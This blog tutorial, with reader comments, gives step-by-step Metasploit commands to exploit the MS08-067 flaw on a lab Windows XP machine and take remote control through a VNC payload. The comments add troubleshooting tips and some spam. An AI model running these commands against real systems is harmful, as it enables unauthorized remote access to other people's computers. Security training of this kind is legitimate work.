If you have any difficulty understanding whats going on, then that's because you skipped over 5 articles on penetration testing. You are recommended to go over last 3 atleast.
- Basics Of Pentesting
- External Sources about Pentesting
- Penetration Testing Level 1: Hacking Windows XP
- Penetration Testing Level 2:Post-exploitation of Windows XP
- Penetration Testing Level 3:Crashing Windows 7
Starting metasploit
You must be having Kali Linux installed, follow the link if you haven't already got Kali Linux.After that, execute the following commands on terminal to get Metasploit running
service postgresql start
service metasploit start
msfconsoleAfter this, you metasploit framework will start.
Information Gathering
- Find IP of XP machine by running ipconfig on XP command prompt.
- Find IP of Kali machine by running ifconfig on Kali terminal.
Hacking XP
Now execute the following code (without the msf> it is there by already) -
msf > use exploit/windows/smb/ms08_067_netapiIt selects the netapi ms08 exploit which is well known for Windows XP. Now execute the following (everything before > will already be there)
msf exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcpNow execute a show options to get an idea what all values need to be filled.
msf exploit(ms08_067_netapi) >show optionsYou will need the information gathered from Information Gathering step. Remember - XP -> Remote host (RHOST). This is all we need. Just enter the XP IP instead of 192.168.xxx.xxx
msf exploit(ms08_067_netapi) > set RHOST 192.168.xxx.xxxThat would be all. Now type exploit and press enter.
msf exploit(ms08_067_netapi) > exploit
If everything goes right, then you'll have a pretty much movie kind of remote connection working for you, and you'll be able to work stuff like you'd normally do if you had access to the machine.
What For Win 7 ?
ReplyDeleteNo known vulnerabilities in Windows 7. You'll have to attack the installed programs (Java/browsers/etc.)
DeleteTake a look at the java exploitation in windows 8 tutorial. It's there on the homepage of the blog, I wrote it recently.
ReplyDeletehey mate it says attempting to trigger vulnerability
ReplyDeleteand then it just stops at msf exploit(ms08_067_netapi and then i can only type
Ty very much mate i'll give it a shot today i tried to hack into my lap top wich is XP, but it didn't work.I guess i will just install VMware player and VMware tools then it will work :D.
ReplyDeleteP.S:This blog is awesome, you are an awesome teacher thanks :D
Remember to install a very old version of xp as the chances of being vulnerable to attacks is more in old versions.
DeleteYeah but then for vulnerability, in newer versions i need to target something like java or that?right?
ReplyDeleteso so close this time but it says that the host is unreachable
ReplyDeleteSome problems with networking. If pinging the host fails then it means your virtual LAN is not configured properly. Try using NAT (it does the hard job for us and auto-configures everything)
DeleteYeah i am using windows 7 NAT wont work for soem reason on vmware neither would bridged
ReplyDeleteMaybe your Windows XP firewall has a problem with the connection. Try disabling the firewall and try pinging again.
DeleteSoon you will have to have a whole computer dedicated for kali linux. I am serious.
DeleteIts just working on Windows XP WITHOUT Service Pack. Patched versions are NOT vulnerable for script kiddies like you
ReplyDeleteThis is the message I got after trying it - Exploit failed - unreachable : Rex: connection timeout.
ReplyDeleteCan you present me any good books for beginner? :D
ReplyDeletefor me there is no attack menu when i right click a host :/
ReplyDeleteoh sorry wrong tutorial :'D will post it again in the right one ^^
DeleteThis blog is truly awesome in all aspects. 123 movies
ReplyDeleteLove the way magnificently every word is composed with legitimate adjust.
ReplyDeletejadwal film bioskop